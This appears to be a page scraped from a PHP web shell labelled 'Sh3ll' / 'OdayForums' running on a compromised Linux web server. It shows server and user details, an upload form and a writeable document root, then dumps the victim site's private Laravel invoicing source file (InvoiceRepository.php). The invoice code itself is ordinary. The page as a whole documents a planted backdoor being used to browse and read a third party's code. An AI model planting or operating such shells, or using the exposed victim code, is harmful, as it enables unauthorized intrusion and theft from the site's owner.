Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/app/Modules/Invoices/Repositories/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/app/Modules/Invoices/Repositories/InvoiceRepository.php
<?php
namespace App\Modules\Invoices\Repositories;

use App\Modules\Accounts\Models\Account;
use App\Modules\Accounts\Models\Seriesdoc;
use App\Modules\Accounts\Models\Tax;
use App\Modules\Invoices\Models\Invoice;
use App\Modules\Invoices\Models\Invoice_item;
use App\Modules\Schedules\Models\BookingOrder;
use Carbon\Carbon;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;

class InvoiceRepository
{

    /**
     * Create new invoice based on user bookings
     * @param $booking
     */
    public function new_event_invoice($event,$request)
    {

        //get series and invoice number
        $docSeries = Seriesdoc::where('account_id',$event->account_id)
                              ->where('type','invoice_company')
                              ->first();
        // dd($docSeries);
        if (!$docSeries)
            return null;

        // dd("here");
        //set invoice prefix and invoice next number
        $invoice_prefix = $docSeries->series;
        $invoice_no = $docSeries->last_number+1;

        //get vat
        $tax = Tax::where('is_default',1)->where('slug','vat')->first();
        $tax_value = 0;
        $tax_name='';
        if ($tax){
            if ($tax->type=="percent")
                $tax_value = $event->amount_value*($tax->value/100);
            elseif ($tax->type=="value")
                $tax_value = $tax->value;

            $tax_name = $tax->name;
        } //end vat

        //unit price
        $unit_price = $event->amount_value;

        //amount_net
        $amount_net = $event->amount_value;

        //calculate total amunt with tax/vat value included
        $total_amount = $event->amount_value+$tax_value;

        //create invoice array
        $invoiceData = new Invoice([
            'account_id' => $event->account_id,
            'client_info' => json_encode([
                'name' => $event->client->company,
                'address' => $event->client->address,
                'postcode' => $event->client->postcode,
            ]),
            'user_id' => Auth::user()->id,
            'prefix' => $invoice_prefix,
            'number' => $invoice_no,
            'inv_date' => Carbon::createFromFormat('Y-m-d',$request->invoice_date)->format('Y-m-d'),
            'inv_duedate' => Carbon::createFromFormat('Y-m-d',$request->invoice_duedate)->format('Y-m-d') ,
            'amount_net' => $event->amount_value,
            'tax_value' => $tax_value,
            'amount' => $total_amount,
        ]);


        //start transaction
        DB::beginTransaction();

        //create invoice
//        $invoice = Invoice::create($invData);

        //associate invoice with the corporate event
        $event->invoice()->save($invoiceData);

        $invoice = $event->invoice->first();

        //create invoice items/positions
        $invDetailsData[] = [
            'invoice_id'=>$invoice->id,
            'name'=> trans('invoices::invoice.invoice_event_details',['thNo'=>$event->therapists->count(),'duration'=>$event->duration]),
            'notes' => '(can be used as individual treatments)',
            'qty'=>1,
            'um'=>'unit',
            'unit_price' => $unit_price,
            'amount_net' => $amount_net,
            'amount' => $total_amount,
            'tax_name' => $tax_name,
            'tax_value' => $tax_value,
            'tax_rate' => $tax->value,
        ];

        //save invoice details
        foreach($invDetailsData as $invitem)
            Invoice_item::create($invitem);

        //increment series doc
        $docSeries->last_number = $docSeries->last_number+1;
        $docSeries->save();

        //commit/rollback
        if ($invoice){
            //commit transaction
            DB::commit();

            //return invoice object
            return $invoice;
        }
        else{
            //rollback
            DB::rollback();
            return null;
        } //endif commit/rollback
    }


    /**
     * Generate therapist invoice
     * @param $request
     * @return null
     */
    public function new_therapist_invoice($request)
    {
        //get series and invoice number
        $docSeries = Seriesdoc::where('account_id',$request->account_id)
            ->where('type','invoice_therapist')
            ->first();
        if (!$docSeries)
            return null;

        //get account
        $account = Account::find($request->account_id);

        //set invoice prefix and invoice next number
        $invoice_prefix = $docSeries->series;
        $invoice_no = $docSeries->last_number+1;

        //get all the selected bookings
        $bookings = BookingOrder::whereIn('id',$request->id)
                                ->get();

        foreach($bookings as $booking){

            //reset value for each booking just in case...
            $toInvoice = 0;

            //get booking details
            $info = json_decode($booking->orderInfo,true);

            //default invoice value
            $toInvoice = (isset($info['duration_commision']) && isset($info['duration_commision']['company'])) ? (float)$info['duration_commision']['company'] : 0;

            //if voucher code was used, substract this value from the invoiceble one
            if (isset($info['has_voucher']) && $info['has_voucher'] && $info['voucher']['discount']!=0){

                //add voucher discount. this is calculated based on booking type
                switch ($info['therapistsOpt']){
                    /*
                     * 4hands massage: in this case, the value of the discount is divided by the number of therapists, in this case 2 therapists
                     * */
                    case '4hands':
                        $voucher_discount_value = ($info['voucher']['discount']/2);
                        $toInvoice += ($info['voucher']['discount']/2);
                        break;

                    /*
                     * all other cases
                     * */
                    default:
                        $voucher_discount_value = $info['voucher']['discount'];
                        $toInvoice += $info['voucher']['discount'];
                        break;

                } //end switch

            } //endif voucher exists


            //get the therapist associated with the booking
            $therapist = $booking->therapists()->where('therapist_id',$request->therapist)->first();

            //if the therapist is marked to be invoiced with the massage table, add this value
            if ($therapist->pivot->invoice_table && $info['has_table']){
                $toInvoice += isset($info['table_value'])?$info['table_value']:0;
            } //endif

            //create first element of the invoice
            if (isset($info['has_voucher']) && $info['has_voucher'] && $info['voucher']['discount']!=0) {
                $name = trans('invoices::booking.invoice_item_details_voucher',['number'=>$booking->id,'date'=>$booking->date->format('d M Y'),'hour'=>$booking->hour, 'voucher_code'=>$info['voucher']['code'], 'voucher_discount'=>$voucher_discount_value]);
            }
            else
            {
                $name = trans('invoices::booking.invoice_item_details',['number'=>$booking->id,'date'=>$booking->date->format('d M Y'),'hour'=>$booking->hour]);
            }
            $invDetailsData[] = new Invoice_item([
                'name'=> $name,
                'notes' => '',
                'qty'=>1,
                'um'=>'unit',
                'unit_price' => $toInvoice,
                'amount_net' => $toInvoice,
                'amount' => $toInvoice,
                'tax_name' => '',
                'tax_value' => 0,
            ]);

            //if user has extended the booking, calculate the amount and add it as a new invoice item
            if (isset($info['has_extension']) && $info['has_extension']==true){
                if(isset($info['extension']) && count($info['extension']) > 0)
                {
                    foreach ($info['extension'] as $extension)
                    {
                        $invDetailsData[] = new Invoice_item([
                            'name'=> trans('invoices::booking.invoice_item_extension_details',['duration'=>$extension['duration'], 'number'=>$booking->id,'date'=>$booking->date->format('d M Y'),'hour'=>$booking->hour]),
                            'notes' => '',
                            'qty'=>1,
                            'um'=>'unit',
                            'unit_price' => (float)@$extension['duration_commision']['company'],
                            'amount_net' => (float)@$extension['duration_commision']['company'],
                            'amount' => (float)@$extension['duration_commision']['company'],
                            'tax_name' => '',
                            'tax_value' => 0,
                        ]);
                    }
                }

            } //endif has extension

            $items = collect($invDetailsData);

        } //endforeach

        //start transaction
        DB::beginTransaction();

        //create invoice
        $invoiceData = new Invoice([
            'account_id' => $request->account_id,
            'client_info' => json_encode([
                'name' => $therapist->name,
                'address' => '',
                'postcode' => '',
            ]),
            'user_id' => Auth::user()->id,
            'prefix' => $invoice_prefix,
            'number' => $invoice_no,
            'inv_date' => date('Y-m-d'),
            'inv_duedate' => date('Y-m-d'),
            'amount_net' => $items->sum('amount'),
            'tax_value' => 0,
            'amount' => $items->sum('amount'),
        ]);

        //associate invoice with the therapist
        $invoice = $therapist->thinvoices()->save($invoiceData);

        //relate booking with the invoice and therapist in order to know if an invoice was created for this booking for selected therapist.
        foreach($bookings as $booking)
            $booking->forTherapists()->save($therapist,['invoice_id'=>$invoice->id]);

        //save invoice details
        foreach($invDetailsData as $item)
            $invoice->items()->save($item);

        //increment series doc
        $docSeries->last_number = $docSeries->last_number+1;
        $docSeries->save();

        //commit/rollback
        if ($invoice){
            //commit transaction
            DB::commit();
            return $invoice;
        }
        else{
            //rollback
            DB::rollback();

            return null;
        } //endif commit/rollback

    }

}

ZeroDay Forums Mini